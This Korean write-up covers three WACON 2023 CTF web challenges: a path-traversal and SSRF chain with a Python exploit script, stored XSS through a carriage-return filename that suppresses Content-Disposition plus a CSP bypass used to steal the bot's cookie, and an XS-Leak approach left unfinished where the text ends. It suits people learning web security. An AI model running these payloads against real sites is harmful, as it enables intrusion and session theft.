CTF Reviewed & Writeups/WACON CTF

WACON 2023 Quals WEB Writeup

반응형
SMALL

mosaic [WEB]

It looks weird...

처음 문제 사이트에 접속시 다음과 같은 페이지가 나타납니다.

 

여기서 회원가입 -> 로그인 순으로 계정에 로그인을 진행합니다.

 

로그인을 진행하게 되면 "upload", "mosaic" 이라는 엔드포인트가 활성화됩니다.

 

각 엔트포인트별 코드를 확인해보겠습니다, "upload"는 아래의 로직으로 처리됩니다.

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if request.method == 'POST':
        if 'file' not in request.files:
            return 'No file part'
        file = request.files['file']
        if file.filename == '':
            return 'No selected file'
        filename = os.path.basename(file.filename)
        guesstype = mimetypes.guess_type(filename)[0]
        image_path = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', filename)
        if type_check(guesstype):
            file.save(image_path)
            return render_template("upload.html", image_path = image_path)
        else:
            return "Allowed file types are png, jpeg, jpg, zip, tiff.."
    return render_template("upload.html")

 

upload 엔드포인트를 확인해보면, POST Method로 파일 업로드를 처리하고 있음을 확인할 수 있습니다, 여기서 파일 업로드를 수행하게 되면, guess_type 이라는 함수로 File의 mime_type을 자동으로 추측하게 되고, filename을 가져와 기본 업로드 폴더의 username 폴더로 해당 파일을 업로드할 준비를 합니다.

 

type_check 함수를 호출하여, 추측된 mime_type을 검사하고 이상이 없으면 최종적으로 파일업로드를 진행하게 됩니다.

 

여기서 type_check 함수는 다음과 같은 작업을 수행합니다.

def type_check(guesstype):
    return guesstype in ["image/png", "image/jpeg", "image/tiff", "application/zip"]

 

mime_type을 제한하고 검사하고 있습니다, 이로써 파일 업로드를 이용한 웹셸 공격은 힘들다고 판단되었습니다.

 

파일을 업로드 하면 /check_upload 엔드포인트에서 업로드한 파일을 확인할 수 있습니다.

@app.route('/check_upload/@<username>/<file>')
def check_upload(username, file):
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if username == "admin" and session["username"] != "admin":
        return "Access Denied.."
    else:
        return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)

 

여기서 username과 file을 param으로 받고, 일치하는 파일 경로의 파일을 반환하게 됩니다.

 

하지만 username을 admin으로 설정하고 session["username"] 값이 admin이 아닌이상 (즉, 계정 로그인이 admin이 아닌경우) admin 유저의 파일을 읽어 올 수 없습니다.

 

하지만 여기서, username이 admin인지만 검사하고, 별다른 param 값에 대한 필터링이 존재하지 않기때문에 LFI 취약점이 발생할 가능성이 높습니다.

 

문제 파일의 디렉토리 구조는 위와 같으며, admin 계정의 password는 password.txt라는 파일에 설정되어 있습니다.

 

해당 파일을 LFI로 읽게 된다면, admin 계정의 password 값을 읽어올 수 있습니다.

 

여기서 파일을 읽기 위해서 주의할 점은, <username>으로 param을 받아올 때 "/" 는 무조건 없에는 작업을 진행합니다.

 

즉, 아래의 경로로 요청을 보내면 절대로 파일을 읽을 수 없습니다.

http://test.com/@test233..%2F..%2F..%2F/password.txt -> 404
http://test.com/@test233..%252F..%252F..%252F/password.txt -> 404
http://test.com/@test233%2E%2F%2E%2F%2E%2F/password.txt -> 404
http://test.com/@test233../password.txt -> OK

 

위와 같이 "/" 기호는 URL 인코딩을 진행해도 하나의 URL 경로로 인식하기 때문에 경로에 접근할 수 없습니다, 하지만 "."은 해당 사항이 아님으로 그대로 값으로 들어갈 수 있습니다.

 

즉, LFI로 root 경로의 파일까지는 읽어올 방법이 없고, 한번만 상위 디렉터리로 이동할 수 있기 때문에 password.txt 파일만 읽어올 수 있습니다.

/uploads/..test/password.txt -> Not Found
/uploads/test../password.txt -> Not Found
/uploads/../password.txt -> /password.txt

 

위와 같이 파일을 읽음으로, 아래와 같은 경로로 요청을 보내야 정상적으로 password.txt 파일을 읽어올 수 있습니다.

http://test.com/@../password.txt

 

위 값으로 admin 계정 로그인을 진행할 수 있습니다.

 

admin 계정으로 로그인을 완료해도, flag를 읽을 수는 없습니다.

// file_remover.py

import os, time
from threading import Thread

def flag_remover():
    while True:
        try:
            time.sleep(3)
            os.system("rm -rf /app/uploads/admin/*")
            os.system("rm -rf /app/static/uploads/admin/*")
        except:
            continue

def userfile_remover():
    while True:
        try:
            time.sleep(600)
            os.system("rm -rf /app/uploads/*/*")
            os.system("rm -rf /app/static/uploads/*/*")
        except:
            continue

th1 = Thread(target=flag_remover)
th2 = Thread(target=userfile_remover)
th1.start()
th2.start()

 

위와 같은 코드가 항상 동작하면서 admin 경로의 업로드 된 파일을 3초 간격으로 지우고 있습니다.

 

즉, flag 파일이 업로드된 admin 경로의 파일은 로그인을 진행해도 3초 간격으로 지워지고 있으므로 직접적으로 읽을 수가 없습니다.

 

하지만 index 엔트포인트에서 로그인된 계정이 admin이고, remote_addr이 127.0.0.1이면 flag.png 파일을 다시 admin 경로에 복사해주는것을 볼 수 있습니다.

@app.route('/', methods=['GET'])
def index():
    if not session.get('logged_in'):
        return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/login">login</a>&nbsp;&nbsp;<a href="/register">register</a>'''
    else:
        if session.get('username') == "admin" and request.remote_addr == "127.0.0.1":
            copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png')
        return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/upload">upload</a>&nbsp;&nbsp;<a href="/mosaic">mosaic</a>&nbsp;&nbsp;<a href="/logout">logout</a>'''

 

즉, admin 계정이고, 접속 ip가 127.0.0.1이면  flag.png 파일을 복사함으로 3초 내에 읽을 수 있는 시간이 생기게 됩니다.

 

이를 가능하게 하려면 SSRF 취약점을 이용해야합니다. 내부적으로 요청을 보내는 것은 /mosaic 엔드포인트에서 진행할 수 있습니다.

@app.route('/mosaic', methods=['GET', 'POST'])
def mosaic():
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if request.method == 'POST':
        image_url = request.form.get('image_url')
        if image_url and "../" not in image_url and not image_url.startswith("/"):
            guesstype = mimetypes.guess_type(image_url)[0]
            ext = guesstype.split("/")[1]
            mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session["username"]}', f'{os.urandom(8).hex()}.{ext}')
            filename = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', image_url)
            if os.path.isfile(filename):
                image = imageio.imread(filename)
            elif image_url.startswith("http://") or image_url.startswith("https://"):
                return "Not yet..! sry.."
            else:
                if type_check(guesstype):
                    image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content
                    image = imageio.imread(image_data)
            
            apply_mosaic(image, mosaic_path)
            return render_template("mosaic.html", mosaic_path = mosaic_path)
        else:
            return "Plz input image_url or Invalid image_url.."
    return render_template("mosaic.html")

 

여기서 파일에 대한 모자이크 작업을 진행하는데, 내부적으로 요청을 보낼 수 있습니다.

 

image_url을 받아 해당 url에 존재하는 파일의 mime_type을 추측하는 작업을 진행한 후, filename을 생성합니다. 여기서 filename은 로그인된 user 경로에 생성합니다.

 

생성된 filename이 존재하지 않고, image_url이 http:// 또는 https://로 시작하면 "Not yet..! sry.."를 응답합니다.

 

만약 위 필터링을 통과하면 추측된 mime_type의 type을 확인하고, requests 모듈을 사용해 image_url의 값으로

 get 요청을 진행합니다.

 

이를 사용해 "/" 경로로 요청을 진행할 수 있을 것이라 생각이 들었습니다.

 

먼저, 해당 경로에 요청을 보내기 위해서는 image_url 값이 /mosaic 경로에서는 filename으로 인식되어야 하고, request.get으로 요청이 보내질때는 "/" 경로로 요청이 보내질 수 있도록 해야합니다.

 

이를 진행하기 위해서는 "#", "?" 등을 사용해서 진행할 수 있습니다.

HTTP://127.0.0.1:9999/?image.png
HTTP://127.0.0.1:9999/#image.png

 http://127.0.0.1:9999/?image.png

 

위의 경로로 mosaic 엔드포인트에 내부 요청을 진행하게 되면 내부 ip로 요청을 진행할 수 있고, http:// 필터링을 우회할 수 있습니다.

(필터링에서 대소문자를 구분하지 않음으로 대문자로 우회가 가능하고, 추가로 requests 모듈에서는 요청할 때 자동으로 공백을 지움으로 http:// 경로 앞에 공백을 붙여서 우회할 수 있음)

 

그리고 "?", "#" 등을 사용하게 되면 뒤의 문자는 경로를 요청할때 사용되지 않음으로 /mosaic에서 guess_type을 진행할때는 파일로 인식하고, requests 모듈로 요청을 진행하게 될때는 "/" 경로로 요청을 진행하기 때문에 모든 조건이 충족합니다.

 

이를 진행하고 3초 이내로 /check_upload/@admin/flag.png 경로에 접근하게 된다면 flag 파일을 읽을 수 있습니다.

 

빠르게 요청을 진행하기 위해 Exploit 코드를 작성하였습니다. 

import requests

url = "http://ctf:9999"
cookie = {
    "session": "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.ZPWMbQ.GOx83Cpal44VOto6kASSHju8oJI"
}

local_url = "HTTP://127.0.0.1:9999/#image.png"

res = requests.post(url + "/mosaic", data={
    "image_url": local_url
}, headers={
    "Content-Type": "application/x-www-form-urlencoded"
}, cookies=cookie)

if res.text:
    res2 = requests.get(url + "/check_upload/@admin/flag.png", cookies=cookie)

    print(res2.content)

    with open("./data.png", "wb") as f:
        f.write(bytes(res2.content))

 

위 Exploit 코드를 사용해 요청을 진행하고 data.png를 확인해보면 flag가 image로 저장된 것을 확인할 수 있습니다.

 

FLAG : WACON2023{5b0cdb7e3f4e3c5bffed24f178a5c9ff16a54d9d8ce98e75c44146ed4c59d3c0)

warmup-revenge [WEB]

I sometimes hate warm up. So, I made this challenge.

"해당 문제는 파일이 너무 길어서 파일에 대한 자세한 설명은 생략합니다."

 

사이트에 접속하여 회원가입 -> 로그인을 진행하면 아래와 같은 페이지를 확인해볼 수 있습니다.

 

위와 같이 Board, MyInfo, Note 라는 기능이 활성화 되어있음을 확인할 수 있습니다.

 

여기서 사용자 입력값이 들어가는 모든 부분에 아래와 같은 필터링이 대부분 걸려 있습니다.

// functions.php

<?php
...

function clean_html($str) {
    return htmlspecialchars($str, ENT_QUOTES);
}

function clean_sql($str) {
    return addslashes($str);
}

...
?>

 

여기서 clean_html로 XSS를 필터링하고 있습니다, 필터링을 진행하는 함수는 htmlspecialchars라는 함수고 추가로 ENT_QUOTES로 싱글,더블 쿼터까지 인코딩을 진행합니다.

 

즉, 직접적으로 XSS 공격은 불가능하고, 해당 필터링을 우회할 수 있는 방법은 힘들다고 판단되었습니다.

 

또한 모든 sql로 들어가는 값은 clean_sql로 인해 값이 필터링되는데, addslashes 함수를 사용합니다. 이를 우회하는 대표적인 방법은 멀티바이트 인코딩으로 우회하는 방법이 존재하지만, 관련된 함수를 사용하지 않음으로 우회가 힘듭니다.

 

그리고, 해당 함수를 우회한다고 가정해도, 따로 진행할 수 있는 백터가 추가로 존재하지 않으며 무조건 멀티바이트가 쿼터뒤에 붙어있어야 하기 때문에 공격이 힘들다고 판단하였습니다.

 

즉, 위 함수를 거치지 않고 가능한 백터를 찾아봐야합니다.

 

취약점은 board.php에서 파일 업로드를 진행하고 download.php로 파일을 다운로드하는 과정에서 발생합니다.

// board.php

<?php
...

if($_POST){
    $page = trim($_GET['p']);

    if($page === 'write'){

        $insert = array();

        $require_params = array('title', 'content', 'level', 'password');
        foreach ($require_params as $key) {
            if(!trim($_POST[$key])) die('Empty value provided');

            $$key = $_POST[$key];
        }

        if(mb_strlen($title) > 200 || mb_strlen($content) > 200) die('Too Long');
        if(intval($_SESSION['level']) < intval($level)) die('You cannot set a value above your level');

        $insert['title'] = $title;
        $insert['content'] = $content;
        $insert['username'] = $_SESSION['username'];
        $insert['require_level'] = $level;
        $insert['date'] = now();
        $insert['password'] = md5($password);

        if($_FILES['file']['tmp_name']){
            if($_FILES['file']['size'] > 2097152){
                die('File is too big');
            }
            $file_name = bin2hex(random_bytes(30));

            if(!move_uploaded_file($_FILES['file']['tmp_name'], './upload/' . $file_name)) die('Upload Fail');

            $insert['file_path'] = './upload/' . $file_name;
            $insert['file_name'] = $_FILES['file']['name'];
        }

        if(!insert('board', $insert)) die('Fail');

        $replace = array('point' => intval($_SESSION['point']) + 1);
        $query   = array('username' => $_SESSION['username']);

        if(!update('user', $replace, $query)) die('Error');

        $_SESSION['point'] = intval($_SESSION['point']) + 1;

        die('Success');
    }
    exit;
}

...
?>

 

board.php에서 게시물을 게시할때, 파일 업로드를 진행할 수 있는데, 이때 코드를 확인해보면 file의 mime_type 검사와 확장자 검사를 전혀 진행하지 않고 있음을 볼 수 있습니다.

 

하지만 직접적으로 업로드에 사용되는 filename은 랜덤으로 생성한 30바이트 크기의 hex 문자이기 때문에 웹셸 등을 특정 경로에 업로드하는 것은 불가능합니다.

 

하지만 db에서 insert되는 filename 컬럼 값은 직접적으로 업로드에 사용된 filename을 사용하고 있습니다.

 

업로드를 진행하고 난 후, download.php로 특정 idx에 해당하는 게시글의 file을 다운로드할 수 있습니다.

// download.php

<?php
	include('./config.php');
	ob_end_clean();

	if(!trim($_GET['idx'])) die('Not Found');
	
	$query = array(
		'idx' => $_GET['idx']
	);

	$file = fetch_row('board', $query);
	if(!$file) die('Not Found');

	$filepath = $file['file_path'];
	$original = $file['file_name'];

	if(preg_match("/msie/i", $_SERVER['HTTP_USER_AGENT']) && preg_match("/5\.5/", $_SERVER['HTTP_USER_AGENT'])) {
	    header("content-length: ".filesize($filepath));
	    header("content-disposition: attachment; filename=\"$original\"");
	    header("content-transfer-encoding: binary");
	} else if (preg_match("/Firefox/i", $_SERVER['HTTP_USER_AGENT'])){
	    header("content-length: ".filesize($filepath));
	    header("content-disposition: attachment; filename=\"".basename($file['file_name'])."\"");
	    header("content-description: php generated data");
	} else {
	    header("content-length: ".filesize($filepath));
	    header("content-disposition: attachment; filename=\"$original\"");
	    header("content-description: php generated data");
	}
	header("pragma: no-cache");
	header("expires: 0");
	flush();

	$fp = fopen($filepath, 'rb');

	$download_rate = 10;

	while(!feof($fp)) {
	    print fread($fp, round($download_rate * 1024));
	    flush();
	    usleep(1000);
	}
	fclose ($fp);
	flush();	
?>

 

여기서 $original 변수 값에 사용되는 filename은 아까 board.php에서 업로드를 진행했던 filename입니다. (랜덤한 filename이 아님)

 

여기서 파일 다운로드를 진행하고 있는데, 만약 여기서 파일이 다운로드 되지 않고, 업로드한 파일이 그대로 실행된다면 XSS가 트리거 될 수 있을 것 입니다.

 

왜냐하면 업로드를 진행한 file의 content는 별다른 XSS 필터링이 존재하지 않고 검사도 진행하지 않기 때문입니다.

 

심지어, filename은 랜덤으로 생성된 filename이 아닌, 업로드에 진행했던 original filename이기 때문에 더더욱 취약해집니다, 이를 공격백터로 잡고 본격적으로 연구를 해보기 시작했습니다.

 

먼저, file이 다운로드 되는 이유는 content-disposition header의 attachment 값 때문입니다.

 

해당 값이 설정되어있으면 직접적으로 파일이 첨부파일 형식으로 다운로드 되게 됩니다.

 

그런데, 반대로 해당 해더가 누락되면 파일이 다운로드 되지 않고 그래도 서버 유지되며 랜더링됩니다.

 

그렇다면 해당 해더를 누락시키기만 한다면 XSS가 트리거된다는 말과 같습니다.

 

이와 관련된 자세한 글은 아래를 참고하면 유용합니다.

https://markitzeroday.com/xss/bypass/2018/04/17/defeating-content-disposition.html

 

Defeating Content-Disposition

The Content-Disposition response header tells the browser to download a file rather than displaying it in the browser window. Content-Disposition: attachment; filename="filename.jpg" For example, even though this HTML outputs alert(document.domain) , becau

markitzeroday.com

 

여기서 사용된 방법은 content-type에서 개행을 입력해 파일이 다운로드 될때 응답이 분리되도록 하는 방법입니다.

HTTP/1.1 200 OK
Date: Mon, 16 Apr 2018 15:44:35 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Content-Type: text/html
foo:bar
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
X-Content-Type-Options: nosniff
Content-Length: 39
Vary: *
Connection: Close
content-disposition: attachment;filename=xss.htm
X-Frame-Options: SAMEORIGIN

<script>alert(document.domain)</script>

 

위와 같이 file upload를 진행하하게 되면 Content-Type이 "text/html\r\n\r\nfoo:bar"가 됩니다.

 

해당 해더의 값이 다운로드 될때 그대로 사용되면 아래와 같이 패킷이 만들어 집니다.

HTTP/1.1 200 OK
Date: Mon, 16 Apr 2018 17:34:21 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Content-Type: text/html

Cache-Control: no-store, no-cache, must-revalidate, max-age=0
X-Content-Type-Options: nosniff
Content-Length: 39
Vary: *
Connection: Close
content-disposition: attachment;filename=xss.htm
X-Frame-Options: SAMEORIGIN

<script>alert(document.domain)</script>

 

이와 같이 진행된다면 Content-Type 해더 이후로 아래의 해더들은 모두 body 값으로 취급되지 때문에 content-disposition 해더가 동작하지 않고 XSS가 트리거 될 수 있습니다.

 

하지만 이는 Content-Type의 값을 그래도 사용한다는 가정이고, 현재 문제에서는 Content-Type 해더의 값을 다운로드 할때 그대로 사용하지 않기때문에 불가능한 방법입니다.

 

여기서 새로운 방법이 존재합니다, php에서 해더를 누락시키는 방법이 추가로 가능하다는 것을 알게 되었습니다. (문제를 풀때는 운좋게 동작했었는데, 추후에 알게되었습니다.) (https://github.com/php/php-src/blob/master/main/SAPI.c#L7)

 

위 링크에서 php 코드를 확인해보면 header 값에 개행 문자인 "\r", "\n" 등이 raw-data로 삽입되게 된다면 해당 header가 누락된다는 것을 확인할 수 있습니다.

 

이와 같은 캐리지 리턴으로 해더 값에 개행 삽입을 허용하게 된다면 설정된 해더가 무시되고 누락됩니다, 이는 해당 문제에서 해더 캐리지 리턴 개행 삽입 경고를 처리하지 않고 무시하기 때문에 발생하는 버그입니다.

 

이를 이용해서 board.php 파일을 업로드할때 filename을 raw-data로 개행문자를 설정하게 된다면 해당 값이 filename으로 설정되고 해당 filename은 download.php로 다운로드를 진행할때 content-disposition 해더의 값으로 사용되기 때문에 해더를 누락시킬 수 있게 됩니다.

POST /board.php?p=write HTTP/1.1
Host: 172.30.1.71
Content-Length: 593
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.30.1.71
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUWoGqRVoeOArxlLb
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.30.1.71/board.php?p=write
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=c8935ae9af632fa7f082695b74f1170b
Connection: close

------WebKitFormBoundaryUWoGqRVoeOArxlLb
Content-Disposition: form-data; name="title"

test
------WebKitFormBoundaryUWoGqRVoeOArxlLb
Content-Disposition: form-data; name="content"

test
------WebKitFormBoundaryUWoGqRVoeOArxlLb
Content-Disposition: form-data; name="level"

1
------WebKitFormBoundaryUWoGqRVoeOArxlLb
Content-Disposition: form-data; name="file"; filename="a"
Content-Type: text/html

<script>alert(1)</script>
------WebKitFormBoundaryUWoGqRVoeOArxlLb
Content-Disposition: form-data; name="password"

test
------WebKitFormBoundaryUWoGqRVoeOArxlLb--

 

위와 같이 upload를 진행할때 패킷을 캡쳐해서 filename 부분을 burpsuite의 hex 값으로 0d를 설정해주게 되면 raw-data의 0d(\r)로 filename이 입력됩니다.

 

이를 통해 요청을 보내면 정상적으로 업로드가 완료되고 다운로드할때 아래와 같이 요청을 진행하게 되면 파일이 첨부파일로 다운로드 되지 않고, xss가 트리거 됩니다.

http://ctf/download.php?idx=230

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 09:00:44 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/7.4.33
Expires: 0
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Security-Policy: default-src 'self'; style-src 'self' https://stackpath.bootstrapcdn.com 'unsafe-inline'; script-src 'self'; img-src data:
content-description: php generated data
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 25

<script>alert(1)</script>

 

응답패킷을 확인해보면 성공적으로 content-disposition 해더가 누락되었음을 확인할 수 있습니다.

 

이제 cookie 값을 유출하여 flag를 얻어내야 하는데, CSP가 설정되어 있습니다.

Content-Security-Policy: default-src 'self'; style-src 'self' https://stackpath.bootstrapcdn.com 'unsafe-inline'; script-src 'self'; img-src data:

 

default-src 값이 'self'이면 대부분의 리소스 자원에 대한 접근이 제한됩니다.

 

이를 우회하기 위해서는 신뢰할 수 있는 자원에 JS 코드를 업로드하고, 이를 script 태그의 src로 설정하여 불러오도록 하는 작업을 진행하면 됩니다.

 

아래와 같이 진행합니다.

 

위와 같이 파일 업로드를 진행할때, script 태그를 감싸지 않고, js 코드로 작성합니다.

 

그 후, 해당 파일이 업로드 된 idx 값을 찾아 script 태그의 src로 한번 더 파일 업로드를 진행해줍니다.

 

해당 파일을 업로드 하고, 이를 report 해주게 된다면 /download.php?idx=143은 신뢰할 수 있는 경로이고, 해당 파일안에 js 코드가 있기 때문에 성공적으로 실행됩니다.

 

성공적으로 Cookie 값이 가져와 짐을 확인할 수 있습니다.

 

이제 해당 url을 report.php로 보내주게 된다면 해당 url 방문하고, script가 실행됨으로 성공적으로 cookie 값을 읽을 수 있습니다.

http://ctf/report.php?idx=144&path=download.php
FLAG : WACON2023{b1b1e2b97fcfd419db87b61459d2e267}

WACONChef [WEB]

Note: Flag format is WACON{}

이번 Wacon 예선 웹문제는 아무리 봐도 주니어급 문제가 아닌거 같습니다.. 정말 어려웠습니다. 해당 문제는 풀지는 못했지만 접근하는 방식이 너무 특이해서 올리게 되었습니다.

 

해당 문제는 Bot이 존재하는 XSS 취약점이 의심되는 문제였습니다.

 

먼저 문제 사이트에 접속하게 되면 아래와 같은 화면이 나오게 됩니다.

 

해당 부분에 Note를 작성하게 되면 note를 생성하고 값을 응답합니다.

 

여기서 다양한 인코딩 방식으로 인코딩을 추가로 진행할 수 있습니다.

 

먼저 해당 문제에서 flag을 얻기 위해서는 /get_temp_token 경로에 요청을 진행해서 token을 얻어야 합니다.

app.put('/get_temp_token',(req,res)=>{
	if(req.session.isAdmin){
		let tok = genToken(4);
		flagTokens.set(tok,now());
		return res.type('text/plain').send(tok);
	}
	res.type('text/plain').send('??');
})

 

하지만 여기서 session이 admin인 경우에만 token을 얻을 수 있도록 명시하고 있습니다.

 

해당 토큰을 얻게 된다면 /flag 경로에서 flag를 얻을 수 있습니다.

app.post('/flag',rateLimit.rateLimit({
	windowMs: 60 * 1000,
	max: 1,
	message: 'Too fast',
}),(req,res)=>{
	let tok = req.body.token;
	if(tok){
		if(flagTokens.get(tok)+60 > now()){
			return res.type('text/plain').send(`Whoaaa good job!!! : ${flag}`);
		}
	}
	res.type('text/plain').send('??');
})

 

엔드포인트 별로 자세하게 기능을 분석해보겠습니다.

 

가장 먼저 csp가 설정되어있습니다, 이는 미들웨어로 설정되어있어서 모든 라우터에 적용됩니다.

app.use((req,res,next)=>{
	res.setHeader('Content-Security-Policy',`default-src 'self'; style-src 'unsafe-inline'; `);
	res.setHeader('Cache-Control',`no-cache, no-store`);
	req.session.isAdmin ??= req.cookies.secret == adminSecret;
	req.session.uid ??= genToken(16);
	req.session.notes ??= [];

	next();
});

 

default-src 값이 self로 되어있음으로 모든 리소스에 대해서 self 정책이 적용됩니다.

 

self 정책이 적용되게 되면 신뢰할 수 있는 엔드포인트에서만 리소스를 사용할 수 있습니다.

app.post('/',async (req,res)=>{
	try{
		let note = req.body.note;
		if(note){
			let userDir = `${__dirname}/notes/${req.session.uid}`;
			let noteId = genToken(16);
			let noteFilepath = `${userDir}/${noteId}.bin`;
			note = note.toString().trim().slice(0,1000);

			fs.existsSync(userDir) || fs.mkdirSync(userDir);

			fs.writeFileSync(noteFilepath,zlib.deflateSync(note));
			notePaths.set(noteId,noteFilepath);
			req.session.notes.push(noteId);
			return res.redirect(`/view/${noteId}/`);
		}
	}catch(e){}
	res.type('text/plain').send('Something went wrong');
});

 

"/" 엔드포인트에서는 note를 작성하고 생성하는 작업을 진행합니다.

 

위 코드를 확인해보면 noteID를 랜덤한 16자 크기의 토큰을 생성하고 해당 값으로 파일을 업로드합니다.

 

여기서 값은 사용자가 입력한 값으로 그대로 설정됩니다, 해당 파일을 notePaths 객체에 값으로 설정합니다.

 

이번에는 "/render" 부분의 라우터를 확인해보겠습니다.

app.get('/view/:noteid/render/*',(_,__,next)=>setTimeout(next,Math.random()*100),async (req,res)=>{
	try{
		let noteId = req.params.noteid.replaceAll(/[^a-f0-9]/g,'');
		let notePath = notePaths.get(noteId);
		let ops = req.path.split('/').slice(4).map(e=>
			(e && opsHandler.hasOwnProperty(e)) ? opsHandler[e] : e=>e
		);

		if(ops.length > 10) return res.type('text/plain').send('Error: Too many operations');

		if( notePath && 
			((req.session.notes.indexOf(noteId) > -1) || req.session.isAdmin) &&
			fs.existsSync(notePath)
			){
			let input = zlib.inflateSync(fs.readFileSync(notePath));
			ops.forEach(e=>(input = toBuffer(e(input))));
			input = buffer.isAscii(input) ? input : btoa(input);
			return res.send(noteTemplate+input);
		} else {
			return res.type('text/plain').send('Error: Not found');
		}
	} catch(e){console.log(e)}
	res.type('text/plain').send('Error: Something went wrong');
});

 

위 코드와 같이 render/ 뒤의 값은 와일드카드로 모든 값에 매치됩니다.

 

해당 엔드포인트에서는 100ms로 요청을 제한하고있습니.

 

그리고 noteId 값을 가져와 해당 하는 경로를 찾고, path를 split하여 ops 값을 설정합니다.

 

만약 notePath가 존재하고 해당 note의 소유가 현재 설정되어 있는 session의 사용자와 일치하면 해당 노트를 읽습니다, 그리고 noteTemplate + input으로 값을 응답합니다.

 

만약에 ops 값이 존재한다면 해당하는 값과 일치하는 encoder/decoder로 설정된 값을 인코딩 하거나 디코딩합니다.

 

여기서 noteTemplate 값은 아래와 같습니다.

const noteTemplate = `<style>body {overflow-wrap: anywhere;font-family: sans-serif;color: white;font-size: 18px;}</style>`;

 

원래는 warmup-revenge 문제와 동일하게 신뢰할 수 있는 도매인에 js 코드를 업로드하고 이를 랜더링 하여 cookie 값을 유출하려고 했지만, 해당 noteTemplate 값이 함께 가져와지기 때문에 XSS 트리거가 되지 않았습니다.

 

여기서, ops.js 코드에서는 다양한 인코딩/디코딩을 진행해줍니다.

 

bot.js에서 bot의 기능을 확인해보면 기존의 문제와는 bot의 역할이 다르다는 것을 확인할 수 있습니다.

// bot.js

...

let page = await browser.newPage();
		await page.setCookie({
			httpOnly: true,
			name: 'secret',
			value: secretToken,
			domain: challDomain,
			sameSite: 'Lax'
		});
		await page.goto(challUrl);
		await page.waitForSelector('textarea');
		console.log(await page.evaluate(async ()=>{
			let token = await fetch('/get_temp_token',{method:'PUT'});
			token = await token.text();
			document.querySelector("textarea").value = token;
			document.querySelector("button").click();
			return token
		}));
		await page.waitForSelector('#todo-select');
		let targetUrl = await page.evaluate(() => document.location.href);
		await page.close();

		page = await browser.newPage();
		await page.goto(url+'target='+encodeURIComponent(targetUrl), {timeout: 2000, waitUntil: 'domcontentloaded'})
		if(url.indexOf('i_want_flags') > -1){
			await new Promise((r)=>setTimeout(r,40000))	
		} else {
			await new Promise((r)=>setTimeout(r,5000))
		}
        
...

 

page에서 secretToken을 설정하고, httpOnly로 설정합니다.

 

그 후, challURL(문제 사이트 주소)로 이동하여 textarea 값에 작업을 진행합니다, 먼저 /get_temp_token에 접근하여 가져온 token을 / 엔트포인트의 textarea 값으로 매칭합니다.

 

그 후 button을 클릭하여 note를 생성합니다, 생성된 note의 token은 사용자가 입력한 url의 쿼리스트링 target 값으로 응답해주게 됩니다.

 

만약 url 값에 i_want_flags 라는 문자열이 존재하면 40초 동안 코드의 실행을 중단합니다.

 

그렇지 않으면 5초 동안 코드의 실행을 중단하게됩니다.

 

즉, i_want_flags 라는 값을 포함해 요청을 보내고 40초 안에 token을 릭해야 할 것입니다.

 

결론적으로 말하면, 해당 문제에서 token을 얻기 위해서는 XSS를 진행하면 안됩니다, (XSS는 훼이크입니다.)

 

여기서는 Chef 즉, ops.js에서 암호화를 진행하고 디코드를 진행하는 로직을 아주 유심히 조작해서 token 값을 릭해야합니다.

 

먼저 /view/:note_id 로 접근을 진행하게 되면 view.html 파일이 랜더링되게 되고 해당 html에서 추가로 view.js 파일을 실행합니다.

// view.js

document.getElementById('submit-button').onclick = e=>{
	let selectEl = document.getElementById('todo-select');
	let frameEl = document.getElementById('results-frame');
	let selectedTodo = selectEl.selectedOptions[0].innerText;
	frameEl.src += selectedTodo+'/';
}

document.getElementById('results-frame').onload = e=>{
	let frameEl = document.getElementById('results-frame');
	let t = frameEl.contentWindow.document.body.innerText;
	if(t.indexOf('Error') > -1) document.location = '/';
}

(()=>{
	let frameEl = document.getElementById('results-frame').src = './render/';
})()

 

submit-button을 클릭하게 되면 선택한 인코딩 방식을 가져와 iframe 엘리먼트의 src 값으로 설정하게 됩니다.

 

예를 들어 base64_encode 옵션을 선택하게 되면 iframe src 경로에 /render/base64_encode 식으로 src가 변경됩니다. (기본 src가 /render/ 이기 때문)

 

이를 통해 인코드 된 값이 view.html에 동적으로 표시되도록 합니다.

 

또한 result-frame, 즉 iframe이 로드된다면 해당 iframe을 가져와 만약 /render/ 값에 Error가 발생하게 된다면 현재 경로를 "/" 엔드포인트로 변경하고 리다이렉션 시킵니다.

 

위는 view.html의 사용가능한 인코딩 옵션들입니다.

 

이를 사용해서 token을 릭해야합니다, 즉, XSS를 트리거하는 것이 아닌 XS-Leak을 진행해야합니다.

 

위에서 분석한것과 같이 view.html은 iframe의 속성으로 .length 속성을 확인할 수 있습니다, 그리고 view.js에서는 iframe에서 오류가 발생하면 "/" 경로로 라다이렉션함을 확인할 수 있습니다.

 

XS-Leak은 아래와 같이 진행할 수 있습니다.

attacker note
-> temp_token + encoding
-> /js/view.js

 

